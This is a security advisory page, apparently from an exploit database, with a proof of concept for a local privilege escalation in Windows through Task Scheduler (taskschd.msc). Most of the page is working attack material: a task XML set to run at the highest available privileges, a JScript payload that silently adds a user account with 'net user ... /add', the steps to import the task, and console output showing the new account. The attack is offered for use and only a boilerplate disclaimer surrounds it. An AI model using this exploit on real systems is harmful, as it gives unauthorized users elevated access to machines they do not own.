Microsoft Windows taskschd.msc Privilege Escalation

Published
Credit
Risk
2017.04.19
Todor Donev
Medium
CWE
CVE
Local
Remote
CWE-264
N/A
Yes
No

Microsoft Windows 'taskschd.msc'
Local SYSTEM Privilege Escalation

Todor Donev <todor.donev@gmail.com>
https://www.ethical-hacker.org/
https://www.facebook.com/ethicalhackerorg

Disclaimer:
This or previous programs is for Educational
purpose ONLY. Do not use it without permission.
The usual disclaimer applies, especially the
fact that Todor Donev is not liable for any
damages caused by direct or indirect use of the
information or functionality provided by these
programs. The author or any Internet provider
bears NO responsibility for content or misuse
of these programs or any derivatives thereof.
By using these programs you accept the fact
that any damage (dataloss, system crash,
system compromise, etc.) caused by the use
of these programs is not Todor Donev's
responsibility.

Use them at your own risk!

Related exploit:
https://www.exploit-db.com/exploits/35850/


C:\Users\test\Desktop>net user

User accounts for \\ETHACK-PC

-------------------------------------------------------------------------------
Administrator Guest test
The command completed successfully.


C:\Users\test\Desktop>net user EXPLOITED /add
System error 5 has occurred.

Access is denied.


C:\Users\test\Desktop>

The user 'test' has no privileges to add user.
Okey! Let's hacking..

Now, we must create suidshell!

C:\Users\test\Desktop>type w00tw00t.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>1337-01-01T13:37:07.9601296</Date>
<Author>NT-AUTHORITY\SYSTEM</Author>
</RegistrationInfo>
<Triggers />
<Principals>
<Principal id="Author">
<UserId>ETHACK-PC\test</UserId>
<LogonType>S4U</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>%USERPROFILE%\Desktop\EXPLOIT.JS</Command>
</Exec>
</Actions>
</Task>

C:\Users\test\Desktop>type EXPLOIT.JS

suidshell = WScript.CreateObject("WScript.Shell");
suidshell.run("cmd.exe /c net user EXPLOITED EXPLOITED /add", 0);


Okey. Now, our PAYLOAD is ready for IMPORT in Task Scheduler v1.0

Run 'taskschd.msc' -> Import Task.. -> Select and Open: w00tw00t.xml -> Run


C:\Users\test\Desktop>net user

User accounts for \\ETHACK-PC

-------------------------------------------------------------------------------
Administrator EXPLOITED Guest
test
The command completed successfully.


C:\Users\test\Desktop>

OWNED.. I've got the powah.. :))


See this note in RAW Version

 
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